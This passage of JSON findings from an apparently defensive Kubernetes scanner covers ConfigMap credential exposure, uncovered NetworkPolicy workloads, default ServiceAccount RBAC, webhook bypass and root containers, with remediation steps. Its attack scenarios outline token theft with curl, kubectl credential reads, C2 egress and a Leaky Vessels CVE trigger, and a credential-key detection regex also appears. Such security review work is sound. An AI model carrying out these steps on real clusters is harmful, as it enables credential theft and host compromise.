        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.4.2",
        "title": "Consider external secret storage",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Secrets",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:credentialLikeKeys"
    ]
  },
  {
    "id": "KUBE-CONFIGMAP-001:vulnerable:app-config",
    "rule_id": "KUBE-CONFIGMAP-001",
    "severity": "MEDIUM",
    "score": 6.3,
    "category": "data_exfiltration",
    "title": "ConfigMap `vulnerable/app-config` exposes credential-shaped keys (`api_token, db_password`) in plaintext",
    "description": "ConfigMap `vulnerable/app-config` contains keys with names matching credential-like patterns: `api_token, db_password`. The Kubernetes API treats ConfigMaps as non-sensitive: etcd stores them unencrypted by default (encryption-at-rest is opt-in and almost always limited to Secrets), `kubectl describe configmap` prints values inline, audit logs include the data on get/list, and RBAC defaults give workload service accounts much wider read on ConfigMaps than on Secrets.\n\nStoring a credential in a ConfigMap therefore violates the basic Kubernetes data-classification model in three ways simultaneously: (1) it appears in plaintext to anyone with `get configmaps` (a much larger set of subjects than `get secrets`); (2) it ends up in cluster backups, etcd dumps, and platform observability tooling that explicitly excludes Secrets; (3) it does not benefit from any of the surface area Kubernetes builds around Secrets (envelope encryption, file-mode 0600 projection, KMS provider, External Secrets Operator).\n\nThe matched keys are heuristic, since `key` matches both `apiKey` and `public_key`, so review is required before assuming compromise. In practice the pattern is strong: in production clusters this finding correlates with real leaks the majority of the time. Treat as exposed-until-proven-otherwise.",
    "resource": {
      "kind": "ConfigMap",
      "name": "app-config",
      "namespace": "vulnerable"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "object",
      "detail": "ConfigMap `vulnerable/app-config`: readable by every subject with `get configmaps` in `vulnerable`, ships unencrypted in etcd, surfaces in `kubectl describe` and audit logs"
    },
    "impact": "If any of the flagged keys (`api_token, db_password`) actually hold a credential, that credential is exposed to a wide audience: every workload SA in `vulnerable`, every backup operator, every audit log consumer, and possibly cluster-mirroring tooling.",
    "attack_scenario": [
      "Attacker compromises a workload in `vulnerable` whose ServiceAccount has `get configmaps` (the typical default `view` role grants it).",
      "They `kubectl get cm app-config -n vulnerable -o yaml` and read the matched keys directly. No decoding needed since ConfigMap data is plaintext.",
      "They identify the credential class (DB connection string, API key, OAuth client_secret, signing key) from the key name and value shape.",
      "They use the credential immediately: DB connection strings often grant the same write permission the application has; API keys often have no IP restriction; client_secrets unlock the upstream identity provider.",
      "Because audit-log review on ConfigMaps is rare, the read goes unnoticed until the upstream credential is rotated for unrelated reasons."
    ],
    "evidence": {
      "matched_keys": [
        "api_token",
        "db_password"
      ]
    },
    "remediation": "Move the credential out of `vulnerable/app-config` into a Kubernetes Secret (or, better, an external secret store) and remove the keys from the ConfigMap.",
    "remediation_steps": [
      "Inspect each matched key (`api_token, db_password`) to confirm whether it is a real credential. Some keys like `cache_key_prefix` are false positives.",
      "For real credentials, create a Secret in `vulnerable` and update consumers (envFrom or volume mounts) to read from the Secret.",
      "Rotate the credential at its source: if it was already in plaintext in a ConfigMap, treat it as compromised (assume any subject with view-on-configmaps had access).",
      "Remove the credential keys from `vulnerable/app-config`. Verify the consumer still works (`kubectl rollout status`).",
      "Wire prevention: a Kyverno cluster policy that warns on `ConfigMap.data` keys matching `password|secret|token|credential|api_?key|access_?key|client_secret|connection_string|dsn`. Pair with External Secrets Operator so the right path of least resistance is to use a real secret store."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/configmap/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://external-secrets.io/latest/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — ConfigMaps",
        "url": "https://kubernetes.io/docs/concepts/configuration/configmap/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.4.2",
        "title": "Consider external secret storage",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Secrets",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:credentialLikeKeys"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-002:Deployment:flat-network:unmatched",
    "rule_id": "KUBE-NETPOL-COVERAGE-002",
    "severity": "MEDIUM",
    "score": 6.2,
    "category": "lateral_movement",
    "title": "Workload `Deployment/flat-network/unmatched` is in a policied namespace but no policy podSelector matches it",
    "description": "Workload `Deployment/flat-network/unmatched` runs in `flat-network` which has at least one NetworkPolicy, but none of those policies' `podSelector` clauses match this workload's labels (`map[app:orphan]`). The Kubernetes NetworkPolicy specification is explicit: a pod is \"non-isolated\" for ingress/egress until a NetworkPolicy with the corresponding `policyTypes` entry selects it.\n\nThis is the most common misconfiguration in clusters that have started rolling out NetworkPolicies: the operator added policies for the visible apps and forgot a sidecar Job, a CronJob spawned by an operator, a debug Deployment, or a workload whose labels were renamed. \"Selected by no policy\" is semantically identical to \"in a namespace with no policies at all\" for this specific pod (full allow-in, full allow-out) even though `kubectl get netpol` makes the namespace look protected.\n\nThe failure mode is invisible at a glance: dashboards say \"NetworkPolicies present in namespace,\" CIS 5.3.2 may pass, but the uncovered workload is exactly the kind of pod attackers love: operator-managed, often privileged, often forgotten.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched` (labels map[app:orphan]): covered by no NetworkPolicy in `flat-network`"
    },
    "impact": "This single workload retains full allow-all ingress and egress while the rest of the namespace is segmented, making it the easiest pivot point for an attacker who lands anywhere else in the cluster.",
    "attack_scenario": [
      "Attacker compromises a low-value pod elsewhere in the cluster (CVE in a web app).",
      "They scan the namespace's pod CIDR for reachable services. Other pods in `flat-network` correctly drop unsolicited traffic, except `unmatched`, which is uncovered.",
      "They hit `unmatched`'s exposed application port and exploit a known issue, gaining a shell.",
      "From `unmatched`, attacker has unrestricted egress: hits IMDS for cloud IAM credentials, opens C2 to attacker IPs, uses the pod's mounted ServiceAccount token against the API server.",
      "The attacker now has the network position the rest of the namespace's policies were designed to prevent."
    ],
    "evidence": {
      "labels": {
        "app": "orphan"
      }
    },
    "remediation": "Either deploy a namespace-wide default-deny baseline in `flat-network` so every new pod is automatically covered, or add an explicit policy whose `podSelector` matches this workload's labels.",
    "remediation_steps": [
      "Add a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) in `flat-network` so future pods fail closed.",
      "Write an explicit allow policy whose `podSelector` matches `unmatched`'s labels and lists only the ingress sources and egress destinations it needs.",
      "Validate by re-running this scanner; the workload should now match at least one policy.",
      "Add a CI check (Kyverno's `require-matching-network-policy` or an OPA constraint) that fails if a new workload is admitted with labels not covered by any existing NetworkPolicy."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:uncoveredWorkload"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-002:Deployment:netpol-imds:imds-open-app",
    "rule_id": "KUBE-NETPOL-COVERAGE-002",
    "severity": "MEDIUM",
    "score": 6.2,
    "category": "lateral_movement",
    "title": "Workload `Deployment/netpol-imds/imds-open-app` is in a policied namespace but no policy podSelector matches it",
    "description": "Workload `Deployment/netpol-imds/imds-open-app` runs in `netpol-imds` which has at least one NetworkPolicy, but none of those policies' `podSelector` clauses match this workload's labels (`map[app:imds-open-app]`). The Kubernetes NetworkPolicy specification is explicit: a pod is \"non-isolated\" for ingress/egress until a NetworkPolicy with the corresponding `policyTypes` entry selects it.\n\nThis is the most common misconfiguration in clusters that have started rolling out NetworkPolicies: the operator added policies for the visible apps and forgot a sidecar Job, a CronJob spawned by an operator, a debug Deployment, or a workload whose labels were renamed. \"Selected by no policy\" is semantically identical to \"in a namespace with no policies at all\" for this specific pod (full allow-in, full allow-out) even though `kubectl get netpol` makes the namespace look protected.\n\nThe failure mode is invisible at a glance: dashboards say \"NetworkPolicies present in namespace,\" CIS 5.3.2 may pass, but the uncovered workload is exactly the kind of pod attackers love: operator-managed, often privileged, often forgotten.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app` (labels map[app:imds-open-app]): covered by no NetworkPolicy in `netpol-imds`"
    },
    "impact": "This single workload retains full allow-all ingress and egress while the rest of the namespace is segmented, making it the easiest pivot point for an attacker who lands anywhere else in the cluster.",
    "attack_scenario": [
      "Attacker compromises a low-value pod elsewhere in the cluster (CVE in a web app).",
      "They scan the namespace's pod CIDR for reachable services. Other pods in `netpol-imds` correctly drop unsolicited traffic, except `imds-open-app`, which is uncovered.",
      "They hit `imds-open-app`'s exposed application port and exploit a known issue, gaining a shell.",
      "From `imds-open-app`, attacker has unrestricted egress: hits IMDS for cloud IAM credentials, opens C2 to attacker IPs, uses the pod's mounted ServiceAccount token against the API server.",
      "The attacker now has the network position the rest of the namespace's policies were designed to prevent."
    ],
    "evidence": {
      "labels": {
        "app": "imds-open-app"
      }
    },
    "remediation": "Either deploy a namespace-wide default-deny baseline in `netpol-imds` so every new pod is automatically covered, or add an explicit policy whose `podSelector` matches this workload's labels.",
    "remediation_steps": [
      "Add a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) in `netpol-imds` so future pods fail closed.",
      "Write an explicit allow policy whose `podSelector` matches `imds-open-app`'s labels and lists only the ingress sources and egress destinations it needs.",
      "Validate by re-running this scanner; the workload should now match at least one policy.",
      "Add a CI check (Kyverno's `require-matching-network-policy` or an OPA constraint) that fails if a new workload is admitted with labels not covered by any existing NetworkPolicy."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:uncoveredWorkload"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-002:ServiceAccount/vulnerable/default",
    "rule_id": "KUBE-SA-DEFAULT-002",
    "severity": "MEDIUM",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "Default ServiceAccount `vulnerable/default` carries explicit RBAC, so every pod that omits `serviceAccountName` inherits these rights",
    "description": "ServiceAccount `vulnerable/default` has explicit RBAC bindings. Every Pod created in `vulnerable` that does not set `spec.serviceAccountName` is silently bound to this SA, the kubelet projects its token into the pod, and the workload can call kube-apiserver with whatever permissions the bindings grant. Nobody explicitly asked for any of this.\n\nAggregated rules:\n  - verbs [get] on resources [configmaps] (from default-sa-rb/cm-reader in vulnerable)\n\nThis is one of the most common privilege-escalation gateways in Kubernetes for two reasons: (1) the `default` SA is the *implicit* identity for every misconfigured manifest, so a single binding to it propagates to every team in the namespace; (2) developers iterating on a deployment regularly forget to set `serviceAccountName` and never notice the elevated identity because the API behaves as expected. The Kubernetes RBAC good-practices guide is explicit: \"Avoid granting RBAC to the default service account in any namespace,\" precisely because it converts \"forgetting a field\" into \"granting privilege.\"\n\nThe right model is to leave the default SA permissionless and require every workload to declare its identity explicitly. That turns the implicit default into a fail-closed signal that something is misconfigured.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `vulnerable`: every Pod that does not set `serviceAccountName` mounts the `default` SA's token"
    },
    "impact": "Any Pod in `vulnerable` that omits `serviceAccountName` quietly mounts a token for these RBAC rules. Compromise of any such pod (RCE in any app) yields immediate API access at the granted privileges. Workloads attached: Pod/vulnerable/generic-hostpath-app-68d6b85955-wx6hl, Pod/vulnerable/host-ns-app-7cb46d5788-2bmjc, Pod/vulnerable/risky-app-5879fbc5d8-9fx2p, Pod/vulnerable/root-runner-5db6f7b4bf-wtwzd, Pod/vulnerable/socket-mounts-app-78c5564768-4kntk, Deployment/vulnerable/generic-hostpath-app, Deployment/vulnerable/host-ns-app, Deployment/vulnerable/risky-app, Deployment/vulnerable/root-runner, Deployment/vulnerable/socket-mounts-app.",
    "attack_scenario": [
      "Attacker exploits a workload in `vulnerable` that did not set `spec.serviceAccountName` (a common omission).",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod filesystem.",
      "They `curl` the kube-apiserver with the token's bearer header. The granted RBAC applies, even though the developer never knew the SA had any permissions.",
      "They use the granted rights (typical patterns: list secrets in the namespace, list pods cluster-wide, exec into other pods) to extend reach.",
      "Because the binding is to `default` rather than a named SA, future pods in `vulnerable` *also* inherit this identity. Every redeploy of every workload in the namespace becomes a potential privesc point."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "vulnerable",
          "resource_names": null,
          "resources": [
            "configmaps"
          ],
          "source_binding": "default-sa-rb",
          "source_role": "cm-reader",
          "verbs": [
            "get"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "generic-hostpath-app-68d6b85955-wx6hl",
          "namespace": "vulnerable"
        },
        {
          "kind": "Pod",
          "name": "host-ns-app-7cb46d5788-2bmjc",
          "namespace": "vulnerable"
        },
        {
          "kind": "Pod",
          "name": "risky-app-5879fbc5d8-9fx2p",
          "namespace": "vulnerable"
        },
        {
          "kind": "Pod",
          "name": "root-runner-5db6f7b4bf-wtwzd",
          "namespace": "vulnerable"
        },
        {
          "kind": "Pod",
          "name": "socket-mounts-app-78c5564768-4kntk",
          "namespace": "vulnerable"
        },
        {
          "kind": "Deployment",
          "name": "generic-hostpath-app",
          "namespace": "vulnerable"
        },
        {
          "kind": "Deployment",
          "name": "host-ns-app",
          "namespace": "vulnerable"
        },
        {
          "kind": "Deployment",
          "name": "risky-app",
          "namespace": "vulnerable"
        },
        {
          "kind": "Deployment",
          "name": "root-runner",
          "namespace": "vulnerable"
        },
        {
          "kind": "Deployment",
          "name": "socket-mounts-app",
          "namespace": "vulnerable"
        }
      ]
    },
    "remediation": "Remove all RoleBindings/ClusterRoleBindings to `vulnerable/default`, create dedicated ServiceAccounts per workload, and set `automountServiceAccountToken: false` on the default SA.",
    "remediation_steps": [
      "List the bindings: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"default\" and .namespace == \"vulnerable\")'`.",
      "For each binding, identify the workloads that actually need the right and create a dedicated SA for them (`kubectl create sa \u003cworkload\u003e-sa -n \u003cns\u003e`); rebind to the dedicated SA.",
      "Delete the bindings to `default` once consumers are migrated.",
      "Patch the default SA to disable token automounting: `kubectl patch sa default -n vulnerable -p '{\"automountServiceAccountToken\": false}'`. Combined with the next step, any pod that forgets `serviceAccountName` will fail closed instead of inheriting tokens.",
      "Wire enforcement: a Kyverno policy that warns/denies any new RoleBinding whose subjects contain `default` SA, and any Pod missing an explicit `serviceAccountName`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — automountServiceAccountToken",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:defaultServiceAccountPermissions"
    ]
  },
  {
    "id": "KUBE-ADMISSION-002:risky-ignore-webhook:mutate.vulnerable.local",
    "rule_id": "KUBE-ADMISSION-002",
    "severity": "MEDIUM",
    "score": 6.1,
    "category": "infrastructure_modification",
    "title": "MutatingWebhookConfiguration `risky-ignore-webhook/mutate.vulnerable.local` can be bypassed by omitting the workload-controlled labels in `objectSelector`",
    "description": "Webhook `mutate.vulnerable.local` in `MutatingWebhookConfiguration/risky-ignore-webhook` uses an `objectSelector`, which limits its admission rules to objects whose own labels match the selector. Because Kubernetes lets the workload author set arbitrary labels on the object they are creating, an `objectSelector` that gates security policy is opt-in: an attacker (or a careless developer) creates the same pod without the matching labels and the webhook never sees it.\n\nThis is structurally different from `namespaceSelector` (which gates by namespace labels; namespaces are a higher-trust object that workload authors typically can't relabel). `objectSelector` checks the labels on the resource being admitted, so a pod manifest that simply omits the policy's gating label slips past untouched. The Kubernetes API reference notes this explicitly: \"If you skip the security label, the webhook is not called.\"\n\nFor policy-enforcing webhooks (PSS replacements, image-signing, sidecar injection of security tooling) this is the wrong tool. The right pattern is to inversely scope the webhook: select *all* objects (`objectSelector: {}` or absent) and use a `namespaceSelector` plus carefully targeted opt-out labels (e.g., `policy.example.com/exempt: true`) that are themselves gated by RBAC on the namespace, not on the pod author.",
    "resource": {
      "kind": "MutatingWebhookConfiguration",
      "name": "risky-ignore-webhook",
      "api_group": "admissionregistration.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "MutatingWebhookConfiguration `risky-ignore-webhook` (webhook entry `mutate.vulnerable.local`): applies to admission across the entire cluster"
    },
    "impact": "Workload authors (legitimate or hostile) can opt out of admission enforcement simply by not setting the gating labels on their pods. This defeats the point of the webhook for any user with create permission on the targeted resources.",
    "attack_scenario": [
      "Attacker reads `MutatingWebhookConfiguration/risky-ignore-webhook` and notes the `objectSelector` requires e.g. `app.kubernetes.io/managed-by: platform`.",
      "They author a pod manifest that omits the `app.kubernetes.io/managed-by` label entirely.",
      "They `kubectl apply` it; the API server evaluates the objectSelector, finds it does not match, skips the webhook, and admits the pod.",
      "The pod runs with whatever the namespace defaults allow, including PSS-violating settings the webhook was supposed to block.",
      "Because nothing logs \"webhook skipped due to objectSelector,\" the bypass is invisible in the SIEM unless the team explicitly audits AdmissionReview misses."
    ],
    "evidence": {
      "objectSelector": {
        "matchLabels": {
          "admission": "enabled"
        }
      },
      "webhook_index": 0,
      "webhook_name": "mutate.vulnerable.local"
    },
    "remediation": "Replace `objectSelector`-based gating on `mutate.vulnerable.local` with `namespaceSelector` plus an RBAC-protected exemption label, or remove the selector and let the webhook see every object.",
    "remediation_steps": [
      "Audit what `mutate.vulnerable.local` is trying to gate. If the goal is \"only apply to pods in tenant namespaces,\" use `namespaceSelector` (namespace labels are higher-trust).",
      "If you need an exemption mechanism, add a `policy.example.com/exempt: true` label *on the namespace* and protect it with RBAC so workload authors cannot grant their own exemption.",
      "Edit `MutatingWebhookConfiguration/risky-ignore-webhook` and either drop `webhooks[name=mutate.vulnerable.local].objectSelector` or invert it to a default-on form.",
      "Re-test by attempting to create a pod that previously bypassed admission; it should now be evaluated.",
      "If the webhook ships with the cluster's admission stack, document the new exemption flow so platform users know how to request one."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/",
      "https://blog.aquasec.com/kubernetes-admission-control-cve-policy-bypass",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://open-policy-agent.github.io/gatekeeper/website/docs/operations"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Dynamic Admission Control",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"
      },
      {
        "title": "Aqua Security — Bypassing Admission Controllers",
        "url": "https://blog.aquasec.com/kubernetes-admission-control-cve-policy-bypass"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "OPA Gatekeeper — Production best practices",
        "url": "https://open-policy-agent.github.io/gatekeeper/website/docs/operations"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1562",
        "name": "Impair Defenses",
        "url": "https://attack.mitre.org/techniques/T1562/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1578",
        "name": "Modify Cloud Compute Infrastructure",
        "url": "https://attack.mitre.org/techniques/T1578/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Admission controllers",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:admission",
      "check:objectSelector"
    ]
  },
  {
    "id": "KUBE-PODSEC-ROOT-001:Deployment:vulnerable:root-runner:app",
    "rule_id": "KUBE-PODSEC-ROOT-001",
    "severity": "MEDIUM",
    "score": 6,
    "category": "privilege_escalation",
    "title": "Container `app` runs as root (UID 0) in `Deployment/vulnerable/root-runner`",
    "description": "Container `app` in `Deployment/vulnerable/root-runner` runs as UID 0, either via an explicit `runAsUser: 0`, an explicit `runAsNonRoot: false`, or by relying on the image's default user (which for most public images is root). Container UID 0 is mapped to host UID 0 by default (Linux user namespaces are still off-by-default in Kubernetes), so any kernel exploit, capability misuse, or volume-write vulnerability lands with full root privileges.\n\nRunning as root erodes every layer of in-container defense. A read-only root filesystem can be remounted (`mount -o remount,rw`) if CAP_SYS_ADMIN is held; a kernel CVE that requires root credentials in user-space (the runC \"Leaky Vessels\" CVE-2024-21626 class, the cgroup-release-agent CVE-2022-0492 class) becomes trivially exploitable; and bind-mounted directories owned by host root become writable.\n\nThe Pod Security Standards Restricted profile requires `runAsNonRoot: true` AND a `runAsUser` ≥ 1.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "All other in-pod hardening (read-only root, capability drops, seccomp) becomes one CVE away from full host compromise; container-CVE exploit reliability rises dramatically.",
    "attack_scenario": [
      "Gain code execution as root inside the container.",
      "Read all bind-mounted host files writable to root, including ConfigMaps and Secrets.",
      "Attempt a capability-bearing kernel exploit. For example, trigger CVE-2024-21626 (Leaky Vessels) by spawning a child with `WORKDIR=/proc/self/fd/8` semantics.",
      "With CAP_SYS_ADMIN remount the root filesystem read-write and modify init scripts.",
      "Persist via dropped binaries in `/usr/local/bin` whose mounts may survive container restart."
    ],
    "evidence": {
      "container": "app"
    },
